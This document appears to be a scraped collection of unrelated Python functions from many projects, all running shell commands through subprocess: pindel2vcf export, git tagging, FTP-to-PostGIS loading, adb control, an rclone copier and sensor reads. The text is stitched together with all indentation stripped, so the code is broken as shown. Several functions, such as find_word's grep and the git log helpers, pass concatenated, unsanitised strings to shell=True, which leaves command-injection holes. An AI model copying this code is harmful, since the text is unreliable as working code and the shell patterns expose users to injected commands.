def ExportVCF(kwargs, output_path, ref_fn):
ref_name_version = dxpy.describe(kwargs["reference_fasta"])["name"]
ref_name_version = ref_name_version.rstrip(".fa")
vcf_out_fn = kwargs["output_prefix"] + '.pindel.vcf'
command_args = ["pindel2vcf"]
command_args.append("-r {input}".format(input=ref_fn))
command_args.append("-P {input}".format(input=output_path))
command_args.append("-v {input}".format(input=vcf_out_fn))
if kwargs["vcf_gatk_compatible"]:
command_args.append("-G")
if "export_vcf_advanced_options" in kwargs:
command_args.append(kwargs["export_vcf_advanced_options"])
else:
ref_date = str(datetime.date.today())
command_args.append("-R {input}".format(input=ref_name_version))
command_args.append("-d ''")
try:
vcf_command = " ".join(command_args)
print "Executing: " + vcf_command
print subprocess.check_output(vcf_command, stderr=subprocess.STDOUT, shell=True)
except subprocess.CalledProcessError, e:
print e
print e.output
raise dxpy.AppError("APP ERROR: App was not able to convert pindel to vcf. Please check pindel2vcf inputs")
def _prepare_pkg_dir(output_dir, api_name, language):
proto_params = _PROTO_PARAMS_MAP[language]
pkg_dir = _pkg_root_dir(output_dir, api_name, language)
subprocess.check_output([
'mkdir', '-p', proto_params.code_root(pkg_dir)],
stderr=subprocess.STDOUT)
return pkg_dir
def run(self):
if subprocess.call(["git", "--version"]) != 0:
print("ERROR:\n\tPlease install git.")
exit(1)
status_lines = subprocess.check_output(["git", "status"]).splitlines()
current_branch = status_lines[0].strip().split()[-1].decode()
print("On branch {}.".format(current_branch))
if current_branch != self.branch:
print("ERROR:\n\tNew tags can only be made from branch \"{}\"."
"".format(self.branch))
print("\tYou can use \"git checkout {}\" to switch the branch."
"".format(self.branch))
exit(1)
tags_output = subprocess.check_output(["git", "tag"])
tags = [tag.strip().decode() for tag in tags_output.splitlines()]
tag = "v" + __version__
if tag in tags:
print("Warning: \n\tTag {} already exists.".format(tag))
print("\tEdit the version information in {}".format(
os.path.join(HERE, PACKAGE_NAME, "__init__.py")
))
else:
print("Creating tag \"{}\".".format(tag))
subprocess.check_call(["git", "tag", tag])
print("Pushing tag \"{}\" to remote \"{}\".".format(tag, self.remote))
subprocess.check_call(["git", "push", self.remote, tag])
def test_check_output_nonzero(self):
# check_call() function with non-zero return code
try:
subprocess.check_output(
[sys.executable, "-c", "import sys; sys.exit(5)"])
except subprocess.CalledProcessError, e:
self.assertEqual(e.returncode, 5)
def test_version(self):
try:
subprocess.check_output(["Trinity", "--version"])
self.fail("Version returned 0 errorcode!")
except subprocess.CalledProcessError as e:
self.assertTrue('Trinity version: __TRINITY_VERSION_TAG__' in e.output)
self.assertTrue('using Trinity devel version. Note, latest production release is: v2.0.6' in e.output)
def loadfiles(ftpconfig_file):
print "Loading configuration from %s ..." % ftpconfig_file
config = FtpConfig(ftpconfig_file)
ftp = FTP(config.ftp_server)
print(ftp)
print(ftp.login())
print(ftp.cwd(config.ftp_directory))
datadir = config.local_tempdata.replace("/", "\\\\")
for (i, fileindex) in enumerate(config.file_index_list):
filename = '%s%s%s' % (config.file_prefix, fileindex, config.file_suffix)
print '#############################################'
print '%i of %i' % (i + 1, len(config.file_index_list))
print 'Writing to local file %s/%s.zip' % (config.local_tempdata, filename)
writefile = open('%s/%s.zip' % (config.local_tempdata, filename), 'wb')
print 'Getting %s.zip' % filename
print ('%.2f MB ...') % (ftp.size('%s.zip' % filename)/(1024.0*1024.0))
ftp.retrbinary('RETR %s.zip' % filename, writefile.write)
writefile.close()
print 'Unzipping %s.zip' % filename
with zipfile.ZipFile('%s/%s.zip' % (config.local_tempdata, filename), "r") as z:
z.extractall('%s/' % config.local_tempdata)
print 'Deleting %s.zip' % filename
os.remove('%s/%s.zip' % (config.local_tempdata, filename))
print 'Importing %s to PostGIS database:%s tablename:%s' % (filename, config.db_dbname, config.db_tablename)
sub.check_output("\"%s\\shp2pgsql\" -a -s 4269 \"%s\\%s.shp\" %s | \"%s\\psql\" -p %s -U %s -d %s"
% (config.local_psqldir, datadir, filename, config.db_tablename, config.local_psqldir, config.db_port, config.db_user, config.db_dbname), shell=True)
print '#############################################'
print 'Finished'
def do_download(self, args):
"""Download a covert file to the local file system.\n
Use: download [covert path] [local path]"""
a = args.split()
if len(a) != 2: # local path file
print("Use: download [covert path] [local path]")
return
else:
covert_path = a[0]
local_path = a[1]
try:
subprocess.check_output(
["ls " + local_path.rsplit('/', 1)[0]],
shell=True
)
except:
print("Given directory does not exist")
return
try:
covert_contents = self.fs.getcontents(covert_path)
except:
print("Given covert path does not exist")
return
with open(local_path, 'w') as f:
f.write(self.san_file(covert_contents))
def RunMacromodel(numDS, settings, *args):
#Run Macromodel conformation search for all diastereomeric inputs
NCompleted = 0
for ds in args:
if not os.path.exists(ds+'.log'):
print settings.SCHRODINGER + '/bmin ' + ds
outp = subprocess.check_output(settings.SCHRODINGER + '/bmin ' +
ds, shell=True)
else:
print ds + ".log exists, skipping"
continue
time.sleep(60)
while(not IsMMCompleted(ds + '.log')):
time.sleep(30)
NCompleted = NCompleted + 1
if settings.Rot5Cycle is True:
print "Macromodel job " + str(NCompleted) + " of " + str(numDS*2)\
+ " completed."
print settings.SCHRODINGER + '/bmin ' + ds + 'rot'
outp = subprocess.check_output(settings.SCHRODINGER + '/bmin '
+ ds+'rot', shell=True)
time.sleep(60)
while(not IsMMCompleted(ds + 'rot.log')):
time.sleep(30)
NCompleted = NCompleted + 1
print "Macromodel job " + str(NCompleted) + " of " + str(numDS*2)\
+ " completed."
else:
print "Macromodel job " + str(NCompleted) + " of " + str(numDS) +\
" completed."
def testLapack(root,config):
"""Test if BLAS functions correctly and set whether G77 calling convention is needed"""
cwd = os.getcwd()
blas = config.get('BLAS','lib')
lapack = config.get('LAPACK','lib')
cxx=config.get('Main','cxx')
cc=config.get('Main','cc')
cflags = config.get('Main','cflags')
cxxflags = config.get('Main','cxxflags')
cmake_exe = config.get('CMake','exe')
prefix = config.get('Main','prefix')
fnull = open(os.devnull,'w')
if sys.platform.startswith('darwin'):
ld_path = "export DYLD_LIBRARY_PATH="+prefix+"/bempp/lib:$DYLD_LIBRARY_PATH; "
elif sys.platform.startswith('linux'):
ld_path = "export LD_LIBRARY_PATH="+prefix+"/bempp/lib:$LD_LIBRARY_PATH; "
else:
raise Exception("Wrong architecture.")
checkCreateDir(root+"/test_lapack/build")
os.chdir(root+"/test_lapack/build")
config_string = "CC="+cc+" CXX="+cxx+" CFLAGS='"+cflags+"' CXXFLAGS='"+cxxflags+"' "+cmake_exe+" -D BLAS_LIBRARIES:STRING=\""+blas+"\" -D LAPACK_LIBRARIES=\""+lapack+"\" .."
try:
check_output(config_string,shell=True,stderr=subprocess.STDOUT)
check_output("make",shell=True,stderr=subprocess.STDOUT)
except subprocess.CalledProcessError, ex:
fnull.close()
raise Exception("Building LAPACK tests failed with the following output:\n" +
ex.output +
"\nPlease check your compiler as well as BLAS and Lapack "
"library settings.\n")
def main (self):
self.check_pattern_exist()
self.check_author_exist()
" actual git commands"
cmd1 = 'git log' + self.options + ' ' + self.s_pattern + \
' --author=\'' + self.g_author + '\' ' + self.r_path
" could be backported by anybody so --author doesn't apply here"
cmd2 = 'git log' + self.options + ' ' + self.t_pattern + \
' ' + self.r_path
s_list = subprocess.check_output(cmd1, shell = True).split('\n')
t_list = subprocess.check_output(cmd2, shell = True)
if len(t_list) is 0:
print("No commits in the target: %s" %self.t_pattern)
print("see '%s --help'" %__file__)
exit()
else:
t_list = t_list.split('\n')
self.s_dict = dict()
self.t_dict = dict()
for item in s_list:
self.s_dict.update(dict([item.split(' ', 1)]))
for item in t_list:
self.t_dict.update(dict([item.split(' ', 1)]))
self.print_output()
def find_word(self, word, file_name, directory=None):
if directory is None:
directory = subprocess.check_output("pwd", shell=True).rstrip()
results = subprocess.check_output("grep '{}' {}/{}".format(word, directory, file_name), shell=True)
results.split('\n')
results.pop()
return results
def _run_gemini_stats(bam_file, data, out_dir):
"""Retrieve high level variant statistics from Gemini.
"""
out = {}
gemini_db = (data.get("variants", [{}])[0].get("population", {}).get("db")
if data.get("variants") else None)
if gemini_db:
gemini_stat_file = "%s-stats.yaml" % os.path.splitext(gemini_db)[0]
if not utils.file_uptodate(gemini_stat_file, gemini_db):
gemini = config_utils.get_program("gemini", data["config"])
tstv = subprocess.check_output([gemini, "stats", "--tstv", gemini_db])
gt_counts = subprocess.check_output([gemini, "stats", "--gts-by-sample", gemini_db])
dbsnp_count = subprocess.check_output([gemini, "query", gemini_db, "-q",
"SELECT count(*) FROM variants WHERE in_dbsnp==1"])
out["Transition/Transversion"] = tstv.split("\n")[1].split()[-1]
for line in gt_counts.split("\n"):
parts = line.rstrip().split()
if len(parts) > 0 and parts[0] == data["name"][-1]:
_, hom_ref, het, hom_var, _, total = parts
out["Variations (total)"] = int(total)
out["Variations (heterozygous)"] = int(het)
out["Variations (homozygous)"] = int(hom_var)
break
out["Variations (in dbSNP)"] = int(dbsnp_count.strip())
if out.get("Variations (total)") > 0:
out["Variations (in dbSNP) pct"] = "%.1f%%" % (out["Variations (in dbSNP)"] /
float(out["Variations (total)"]) * 100.0)
with open(gemini_stat_file, "w") as out_handle:
yaml.safe_dump(out, out_handle, default_flow_style=False, allow_unicode=False)
else:
with open(gemini_stat_file) as in_handle:
out = yaml.safe_load(in_handle)
return out
def __execute_statement(self, statement, db_name=None):
file = tempfile.NamedTemporaryFile(dir='/tmp',
prefix='tinyAPI_rdbms_builder_',
delete=False)
file.write(statement.encode())
file.close()
try:
subprocess.check_output(
self.__get_exec_sql_command()
+ ('' if db_name is None else ' --database=' + db_name)
+ ' < ' + file.name,
stderr=subprocess.STDOUT,
shell=True)
except subprocess.CalledProcessError as e:
message = e.output.rstrip().decode()
if len(statement) <= 2048:
raise RDBMSBuilderException(
'execution of this:\n\n'
+ statement
+ "\n\nproduced this error:\n\n"
+ message
+ self.__enhance_build_error(message))
else:
raise RDBMSBuilderException(
'execution of this file:\n\n'
+ file.name
+ "\n\nproduced this error:\n\n"
+ message
+ self.__enhance_build_error(message))
os.remove(file.name)
def killadb():
try:
subprocess.check_output(PLATDIR + "\\AppInventor\\commands-for-Appinventor\\adb kill-server", shell=True)
print "Killed adb\n"
except subprocess.CalledProcessError as e:
print "Problem stopping adb : status %i\n" % e.returncode
return ''
def killemulator():
try:
subprocess.check_output(PLATDIR + "\\AppInventor\\commands-for-Appinventor\\kill-emulator", shell=True)
print "Killed emulator\n"
except subprocess.CalledProcessError as e:
print "Problem stopping emulator : status %i\n" % e.returncode
return ''
def run(self):
if not self.protoc_command:
raise CommandError('could not find protoc')
if not self.grpc_python_plugin_command:
raise CommandError('could not find grpc_python_plugin '
'(protoc plugin for GRPC Python)')
include_regex = re.compile(self.include)
exclude_regex = re.compile(self.exclude) if self.exclude else None
paths = []
root_directory = PYTHON_STEM
for walk_root, directories, filenames in os.walk(root_directory):
for filename in filenames:
path = os.path.join(walk_root, filename)
if include_regex.match(path) and not (
exclude_regex and exclude_regex.match(path)):
paths.append(path)
command = [
self.protoc_command,
'--plugin=protoc-gen-python-grpc={}'.format(
self.grpc_python_plugin_command),
'-I {}'.format(root_directory),
'--python_out={}'.format(root_directory),
'--python-grpc_out={}'.format(root_directory),
] + paths
try:
subprocess.check_output(' '.join(command), cwd=root_directory, shell=True,
stderr=subprocess.STDOUT)
except subprocess.CalledProcessError as e:
raise CommandError('Command:\n{}\nMessage:\n{}\nOutput:\n{}'.format(
command, e.message, e.output))
def __init__(self, elf):
ss = elf.getSections()
now = datetime.now()
dprint("Running \"%s\"..." % self.git_cmd)
git_version = subprocess.check_output(
self.git_cmd.split(" ")
).strip()
dprint("Running \"%s\"..." % self.git_br_cmd)
git_branch = subprocess.check_output(
self.git_br_cmd.split(" ")
).strip()
dprint(" %s" % git_version)
self.image_crc = 0x00000000 # must be calculated later
self.image_size = ss[-1].lma + ss[-1].sh_size - ss[0].lma
self.git_version = git_version
self.git_branch = git_branch
self.build_user = getpass.getuser()
self.build_host = platform.node()
self.build_date = now.strftime("%Y-%m-%d")
self.build_time = now.strftime("%H:%M:%S")
def main():
parser = argparse.ArgumentParser(description='Build construir from git repo checkout')
parser.add_argument("--pull", help = "Perform a git pull before job creation", action="store_true")
config = parser.parse_args()
if not os.path.exists("repo"):
print("You have to make a checkout of your repository in a directory named repo")
print("For example: git clone git://somewhere/something.git repo")
return 1
if config.pull:
with otherCwd("repo"):
subprocess.call(["git", "pull"])
if not os.path.exists("repo/construir"):
print ("You have to have a construir script in your repo")
print ("Was looking at: repo/construir")
return 1
#Extract git tag information and project information to create job filename
jobName = None
with otherCwd("repo"):
gitRev = subprocess.check_output(["git", "rev-parse", "--short", "HEAD"]).decode("utf-8", "ignore").strip()
gitRemote = subprocess.check_output(["git", "config", "--local", "--get", "remote.origin.url"]).decode("utf-8", "ignore").strip()
if gitRemote.endswith("/"):
gitRemote = gitRemote[:-1]
jobName = "%s_%s" % (os.path.basename(gitRemote), gitRev)
jobName = jobName.replace("/", "")
assert jobName != None
jobFileName = jobName + "_i1.tar.xz"
subprocess.call(["tar", "--verbose", "--create", "--xz", "--exclude=.git", "--file", jobFileName, "repo", "job"])
if os.path.getsize(jobFileName) < 512000:
subprocess.call(["truncate", "--size=500K", jobFileName])
return 0
def signal(self, sig):
if self.state == 'running':
if WINDOWS and sig != SIGINT:
# use Windows tree-kill for better child cleanup
check_output(['taskkill', '-pid', str(self.process.pid), '-t', '-f'])
else:
self.process.send_signal(sig)
def run(self):
# Scrapy starts a Twisted reactor. You can try invoking scrapy
# programmatically, but it does not play well with Luigi process pools.
# So let's just start a sub process.
tmp_output_path = self.output().path + "_tmp"
subprocess.check_output(["scrapy", "crawl", "city", "-a", "city={}".format(self.city), "-o", tmp_output_path, "-t", "jsonlines"])
os.rename(tmp_output_path, self.output().path)
def cleanup():
cm = ClusterManager.get_instance()
all_routes = set(cm._get_inactive_routes(0))
for name, timestamp in get_apps():
if (name not in all_routes) and app_re.match(name):
print "going to delete app: {0}".format(name)
subprocess.check_output(['kubectl.sh', 'delete', 'namespace', name])
def _EnumerateHostInterfaces(self):
host_platform = platform.GetHostPlatform().GetOSName()
if host_platform == 'linux':
return subprocess.check_output(['ip', 'addr']).splitlines()
if host_platform == 'mac':
return subprocess.check_output(['ifconfig']).splitlines()
raise NotImplementedError('Platform %s not supported!' % host_platform)
def parse_args(self, args=None, namespace=None):
result = super(ArgumentParser, self).parse_args(args, namespace)
adb_path = result.adb_path or "adb"
# Try to run the specified adb command
try:
subprocess.check_output([adb_path, "version"],
stderr=subprocess.STDOUT)
except (OSError, subprocess.CalledProcessError):
msg = "ERROR: Unable to run adb executable (tried '{}')."
if not result.adb_path:
msg += "\n Try specifying its location with --adb."
sys.exit(msg.format(adb_path))
try:
if result.device == "-a":
result.device = adb.get_device(adb_path=adb_path)
elif result.device == "-d":
result.device = adb.get_usb_device(adb_path=adb_path)
elif result.device == "-e":
result.device = adb.get_emulator_device(adb_path=adb_path)
else:
result.device = adb.get_device(result.serial, adb_path=adb_path)
except (adb.DeviceNotFoundError, adb.NoUniqueDeviceError, RuntimeError):
# Don't error out if we can't find a device.
result.device = None
return result
def publish_release():
tag = info['git_tag_name']
remote = opts['git_remote']
if not tag:
issues.warn('Published release is not from a tag. The release you are '
'publishing was not retrieved from a tag. For safety '
'reasons, it will not get pushed upstream.')
else:
if not opts['dry_run']:
log.info('Pushing tag \'{}\' to remote \'{}\''.format(
tag, remote
))
try:
args = [opts['git_binary'],
'push',
remote,
tag]
subprocess.check_output(args, cwd=opts['root'])
except subprocess.CalledProcessError as e:
issues.error('Failed to push tag:\n{}'.format(e.output))
else:
log.info('Not pushing tag \'{}\' to remote \'{}\' (dry-run)'
.format(tag, remote))
def data_collection_stats():
print(check_output(["ls", "../input"]).decode("utf8"))
train_images = check_output(["ls", "../input/train_photos"]).decode("utf8")
print(train_images[:])
print('time elapsed ' + str((time.time() - config.start_time)/60))
print('Reading data...')
train_photos = pd.read_csv('../input/train_photo_to_biz_ids.csv')
train_photos.sort_values(['business_id'], inplace=True)
train_photos.set_index(['business_id'])
test_photos = pd.read_csv('../input/test_photo_to_biz.csv')
test_photos.sort_values(['business_id'], inplace=True)
test_photos.set_index(['business_id'])
train = pd.read_csv('../input/train.csv')
train.sort_values(['business_id'], inplace=True)
train.reset_index(drop=True)
print('Number of training samples: ', train.shape[0])
print('Number of train samples: ', len(set(train_photos['business_id'])))
print('Number of test samples: ', len(set(test_photos['business_id'])))
print('Finished reading data...')
print('Time elapsed: ' + str((time.time() - config.start_time)/60))
print('Reading/Modifying images..')
return (train_photos, test_photos, train)
def _uninstall_simple(self, bundle, pkginfo, check, inter=False):
# Simple apps are handled by calling an executable "uninstall" file
# from the package special directory
try:
cmd = glob.glob(os.path.join(bundle,
'special',
"uninstall") + ".*")[0]
except IndexError as e:
return "Unnstall script not found"
if inter:
platutils.win.run_as_current_user(cmd)
operator = "_check_{0}".format(check[0])
inscheck = getattr(self, operator)(check[1])
if inscheck:
out = "Uninstallation failed."
else:
out = None
else:
out = None
a = os.getcwd()
os.chdir(os.path.join(bundle, 'special'))
try:
subprocess.check_output(cmd, stderr=subprocess.STDOUT)
except subprocess.CalledProcessError as e:
out = "Error running " + e.output.decode()
except WindowsError as e:
out = "Error running " + cmd + ": " + e.strerror
os.chdir(a)
return out
def convert_kml_ground_overlay_to_geotiff(kml_path, other_file_path):
"""Write a geotiff file to disk from the provided kml and image
KML files that specify GroundOverlay as their type are accompanied by a
raster file. Since there is no direct support in geoserver for this type
of KML, we extract the relevant information from the KML file and convert
the raster file to a geotiff.
"""
with open(kml_path) as kml_handler:
kml_bytes = kml_handler.read()
kml_doc, namespaces = get_kml_doc(kml_bytes)
bbox = GdalBoundingBox(
ulx=_extract_bbox_param(kml_doc, namespaces, "west"),
uly=_extract_bbox_param(kml_doc, namespaces, "north"),
lrx=_extract_bbox_param(kml_doc, namespaces, "east"),
lry=_extract_bbox_param(kml_doc, namespaces, "south"),
)
dirname, basename = os.path.split(other_file_path)
output_path = os.path.join(
dirname,
".".join((os.path.splitext(basename)[0], "tif"))
)
command = [
"gdal_translate",
"-of", "GTiff",
"-a_srs", "EPSG:4326", # KML format always uses EPSG:4326
"-a_ullr", bbox.ulx, bbox.uly, bbox.lrx, bbox.lry,
other_file_path,
output_path
]
subprocess.check_output(command)
return output_path
def _wait_until_port_listens(port, timeout=10, warn=True):
"""Wait for a process to start listening on the given port.
If nothing listens on the port within the specified timeout (given
in seconds), print a warning on stderr before returning.
"""
try:
subprocess.check_output(['which', 'lsof'])
except subprocess.CalledProcessError:
print("WARNING: No `lsof` -- cannot wait for port to listen. "+
"Sleeping 0.5 and hoping for the best.",
file=sys.stderr)
time.sleep(0.5)
return
deadline = time.time() + timeout
while time.time() < deadline:
try:
subprocess.check_output(
['lsof', '-t', '-i', 'tcp:'+str(port)])
except subprocess.CalledProcessError:
time.sleep(0.1)
continue
return True
if warn:
print(
"WARNING: Nothing is listening on port {} (waited {} seconds).".
format(port, timeout),
file=sys.stderr)
return False
def process(network, name, os_):
tmp_network = network+'_tinczip'
tmp_dir = os.path.join(tinc_dir,tmp_network)
tmp_hosts_dir = os.path.join(tmp_dir,'hosts')
os.mkdir(tmp_dir)
os.mkdir(tmp_hosts_dir)
assigned_ip = find_free_ip(network)
tinc_conf = '''Name = {name}\nConnectTo = {host}'''.format(name=name,host=get_hostname(network))
host_conf = '''Subnet = {}/32'''.format(assigned_ip)
if os_ == 'windows':
tinc_conf += 'Interface = VPN'
# if _os == "linux":
# tinc_conf += 'Device = /dev/net/tun0'
#write tinc.conf
with open(os.path.join(tmp_dir, 'tinc.conf'), 'w') as tinc_conf_file:
tinc_conf_file.write(tinc_conf)
#write hostname file
with open(os.path.join(tmp_hosts_dir, name), 'w') as host_conf_file:
host_conf_file.write(host_conf)
subprocess.check_output('tincd -n {} -K4096'.format(tmp_network).split())
#copy client key to server folder
local_hosts_dir = _get_hosts_dir(network)
shutil.copy(os.path.join(tmp_hosts_dir, name),local_hosts_dir)
#copy server key to tmp folder
shutil.copy(os.path.join(local_hosts_dir, get_hostname(network)), tmp_hosts_dir)
if os_ == 'linux' or os_ == 'osx':
#make tinc-up and tinc-down
tinc_up = 'ifconfig $INTERFACE {} netmask 255.255.255.0'.format(assigned_ip)
tinc_down = 'ifconfig $INTERFACE down'
tinc_up_path = os.path.join(tmp_dir,'tinc-up')
tinc_down_path = os.path.join(tmp_dir,'tinc-down')
with open(tinc_up_path, 'w') as tu:
tu.write(tinc_up)
st = os.stat(tinc_up_path)
os.chmod(tinc_up_path, st.st_mode | stat.S_IXUSR)
with open(tinc_down_path, 'w') as td:
td.write(tinc_down)
st = os.stat(tinc_down_path)
os.chmod(tinc_down_path, st.st_mode | stat.S_IXUSR)
zip_location = os.path.join(tinc_dir,tmp_network)
zip_file = shutil.make_archive(zip_location, 'zip', tmp_dir)
zip_bytes = ''
with open(zip_file,'rb') as zip_:
zip_bytes = zip_.read()
#cleanup
shutil.rmtree(tmp_dir)
os.remove(zip_file)
return send_file(io.BytesIO(zip_bytes),
attachment_filename='{}.zip'.format(tmp_network),
mimetype='application/zip',
as_attachment=True)
def determine_python_includes_ldflags_use_python_config():
# https://docs.python.org/2/library/sys.html#sys.executable
python_exe_path = sys.executable
if not python_exe_path:
# "If Python is unable to retrieve the real path to its executable,
# `sys.executable` will be an empty string or None."
return (None, None, None)
python_exe_name = os.path.split(python_exe_path)[-1]
python_config_exe_name = "%s-config" % python_exe_name
try:
includes = subprocess.check_output([python_config_exe_name, "--includes"])
#libs = subprocess.check_output([python_config_exe_name, "--libs"])
#cflags = subprocess.check_output([python_config_exe_name, "--cflags"])
ldflags = subprocess.check_output([python_config_exe_name, "--ldflags"])
except OSError as e:
print("Caught OSError(%s)" % str(e), file=sys.stderr)
return (None, None, python_config_exe_name)
python_ver = sys.version_info
if python_ver.major >= 3:
# Stupid byte/string dichotomy...
includes = includes.decode(encoding='UTF-8')
ldflags = ldflags.decode(encoding='UTF-8')
includes = includes.split()
ldflags = ldflags.split()
return (includes, ldflags, python_config_exe_name)
def ansible_ping():
cmds = ['ansible', '-m ping localhost']
output = subprocess.check_output(cmds)
return output
def GetSystemLog(self):
# Since the log file can be very large, only show the last 200 lines.
return subprocess.check_output(
['tail', '-n', '200', '/var/log/system.log'])
def GetOSVersionDetailString(self): product = subprocess.check_output(['sw_vers', '-productVersion']).strip() build = subprocess.check_output(['sw_vers', '-buildVersion']).strip() return product + ' ' + build
def main():
signal(SIGINT, handler)
# if rclone is not installed, quit directly
ret = check_rclone_program()
print("rclone is detected: {}".format(ret))
args = parse_args()
id = args.begin_sa_id
end_id = args.end_sa_id
config_file = args.rclone_config_file
if config_file is None:
print('generating rclone config file.')
config_file, end_id = gen_rclone_cfg(args)
print('rclone config file generated.')
else:
return print('not supported yet.')
pass
# need parse labels from config files
time_start = time.time()
print("Start: {}".format(time.strftime("%H:%M:%S")))
cnt_acc_error = 0
while id <= end_id + 1:
if id == end_id + 1:
break
# id = 1
with io.open('current_sa.txt', 'w', encoding='utf-8') as fp:
fp.write(str(id) + '\n')
src_label = "src" + "{0:03d}".format(id) + ":"
dst_label = "dst" + "{0:03d}".format(id) + ":"
if args.crypt:
dst_label = "dst" + "{0:03d}_crypt".format(id) + ":"
if args.cache:
dst_label = "dst" + "{0:03d}_cache".format(id) + ":"
src_full_path = src_label + args.source_path
if args.source_id is None:
src_full_path = args.source_path
dst_full_path = dst_label + args.destination_path
if args.destination_id is None:
dst_full_path = args.destination_path
if args.test_only:
print('\nsrc full path\n', src_full_path)
print('\ndst full path\n', dst_full_path, '\n')
if args.check_path and id == args.begin_sa_id:
print("Please wait. Checking source path...")
check_path(src_full_path)
print("Please wait. Checking destination path...")
check_path(dst_full_path)
# =================cmd to run=================
rclone_cmd = "rclone --config {} copy ".format(config_file)
if args.dry_run:
rclone_cmd += "--dry-run "
# --fast-list is default adopted in the latest rclone
rclone_cmd += "--drive-server-side-across-configs --rc --rc-addr=\"localhost:{}\" -vv --ignore-existing ".format(
args.port)
rclone_cmd += "--tpslimit {} --transfers {} --drive-chunk-size 32M ".format(
TPSLIMIT, TRANSFERS)
if args.disable_list_r:
rclone_cmd += "--disable ListR "
rclone_cmd += "--drive-acknowledge-abuse --log-file={} \"{}\" \"{}\"".format(
logfile, src_full_path, dst_full_path)
if not is_windows():
rclone_cmd = rclone_cmd + " &"
else:
rclone_cmd = "start /b " + rclone_cmd
# =================cmd to run=================
print(rclone_cmd)
try:
subprocess.check_call(rclone_cmd, shell=True)
print(">> Let us go {} {}".format(dst_label,
time.strftime("%H:%M:%S")))
time.sleep(10)
except subprocess.SubprocessError as error:
return print("error: " + str(error))
cnt_error = 0
cnt_dead_retry = 0
size_bytes_done_before = 0
cnt_acc_sucess = 0
already_start = False
try:
response = subprocess.check_output(
'rclone rc --rc-addr="localhost:{}" core/pid'.format(
args.port),
shell=True)
pid = json.loads(response.decode('utf-8').replace('\0', ''))['pid']
if args.test_only: print('\npid is: {}\n'.format(pid))
global PID
PID = int(pid)
except subprocess.SubprocessError as error:
pass
while True:
rc_cmd = 'rclone rc --rc-addr="localhost:{}" core/stats'.format(
format(args.port))
try:
response = subprocess.check_output(rc_cmd, shell=True)
cnt_acc_sucess += 1
cnt_error = 0
# if there is a long time waiting, this will be easily satisfied, so check if it is started using
# already_started flag
if already_start and cnt_acc_sucess >= 9:
cnt_acc_error = 0
cnt_acc_sucess = 0
if args.test_only:
print(
"total 9 times success. the cnt_acc_error is reset to {}\n"
.format(cnt_acc_error))
except subprocess.SubprocessError as error:
# continually ...
cnt_error = cnt_error + 1
cnt_acc_error = cnt_acc_error + 1
if cnt_error >= 3:
cnt_acc_sucess = 0
if args.test_only:
print(
"total 3 times failure. the cnt_acc_sucess is reset to {}\n"
.format(cnt_acc_sucess))
print('No rclone task detected (possibly done for this '
'account). ({}/3)'.format(
int(cnt_acc_error / cnt_error)))
# Regard continually exit as *all done*.
if cnt_acc_error >= 9:
print('All done (3/3).')
print_during(time_start)
return
break
continue
response_processed = response.decode('utf-8').replace('\0', '')
response_processed_json = json.loads(response_processed)
size_bytes_done = int(response_processed_json['bytes'])
checks_done = int(response_processed_json['checks'])
size_GB_done = int(size_bytes_done * 9.31322e-10)
speed_now = float(
int(response_processed_json['speed']) * 9.31322e-10 * 1024)
# try:
# print(json.loads(response.decode('utf-8')))
# except:
# print("have some encoding problem to print info")
if already_start:
print("%s %dGB Done @ %fMB/s | checks: %d files" %
(dst_label, size_GB_done, speed_now, checks_done),
end="\r")
else:
print("%s reading source/destination | checks: %d files" %
(dst_label, checks_done),
end="\r")
# continually no ...
if size_bytes_done - size_bytes_done_before == 0:
if already_start:
cnt_dead_retry += 1
if args.test_only:
print('\nsize_bytes_done', size_bytes_done)
print('size_bytes_done_before', size_bytes_done_before)
print("No. No size increase after job started.")
else:
cnt_dead_retry = 0
if args.test_only: print("\nOk. I think the job has started")
already_start = True
size_bytes_done_before = size_bytes_done
# Stop by error (403, etc) info
if size_GB_done >= SIZE_GB_MAX or cnt_dead_retry >= CNT_DEAD_RETRY:
if is_windows():
# kill_cmd = 'taskkill /IM "rclone.exe" /F'
kill_cmd = 'taskkill /PID {} /F'.format(PID)
else:
kill_cmd = "kill -9 {}".format(PID)
print("\n" + " " * 20 +
" {}".format(time.strftime("%H:%M:%S")))
try:
subprocess.check_call(kill_cmd, shell=True)
print('\n')
except:
if args.test_only: print("\nFailed to kill.")
pass
# =================Finish it=================
if cnt_dead_retry >= CNT_DEAD_RETRY:
try:
cnt_exit += 1
except:
cnt_exit = 1
if args.test_only:
print(
"1 more time for long time waiting. the cnt_exit is added to {}\n"
.format(cnt_exit))
else:
# clear cnt if there is one time
cnt_exit = 0
if args.test_only:
print("1 time sucess. the cnt_exit is reset to {}\n".
format(cnt_exit))
# Regard continually exit as *all done*.
if cnt_exit >= CNT_SA_EXIT:
print_during(time_start)
# exit directly rather than switch to next account.
print('All Done.')
return
# =================Finish it=================
break
time.sleep(2)
id = id + 1
print_during(time_start)
def _git(self, *args):
"""Helper to run Git command."""
try:
return subprocess.check_output(["git"] + list(args)).decode("utf8").strip()
except subprocess.CalledProcessError:
raise CommandError("Git command failed.")
def run_cmd(cmd):
if isinstance(cmd, list):
return subprocess.check_output(cmd)
else:
return subprocess.check_output(cmd.split(" "))
def ansible(playbook):
playbook = '/var/ansible/{}.yml'.format(playbook)
output = subprocess.check_output(['ansible-playbook', playbook])
return output
def pushQueue ():
global queueLock
global pushQueueActive
nofMeas = 1
if (pushQueueActive == False):
pushQueueActive = True
getMoreMeas = True
validMeasNo = 0
totalMeasNo = 0
accTemp = 0
accHum = 0
while (getMoreMeas == True):
logging.warning ("pushQueue: Measurement no. %d / %d" % (validMeasNo , totalMeasNo))
#read sensor
try:
logging.warning ("pushQueue: Start subprocess")
output = subprocess.check_output(["./DHT", "2302", "4"])
logging.warning ("pushQueue: End subprocess")
except:
logging.warning ("pushQueue: problems execiting subprocess")
else:
totalMeasNo = totalMeasNo + 1
logging.warning ("pushQueue: Process reading from sensor")
matchTemp = re.search("Temp =\s+([0-9.]+)", output)
matchHum = re.search("Hum =\s+([0-9.]+)", output)
if (matchTemp and matchHum):
accTemp = accTemp + float(matchTemp.group(1))
accHum = accHum + float(matchHum.group(1))
logging.warning ("pushQueue: Measurement no. %d; Temp: %.1f; Hum: %.1f " % (validMeasNo , float(matchTemp.group(1)), float(matchHum.group(1))))
validMeasNo = validMeasNo + 1
if (totalMeasNo >= 20):
getMoreMeas = False
elif (validMeasNo < nofMeas):
getMoreMeas = True
time.sleep(30)
else:
getMoreMeas = False
while (queueLock == True):
logging.warning("pushQueue: wait for queueLock")
time.sleep (2)
dateTimeStamp = datetime.datetime.now()
queueLock=True
queueTime.enqueue (dateTimeStamp)
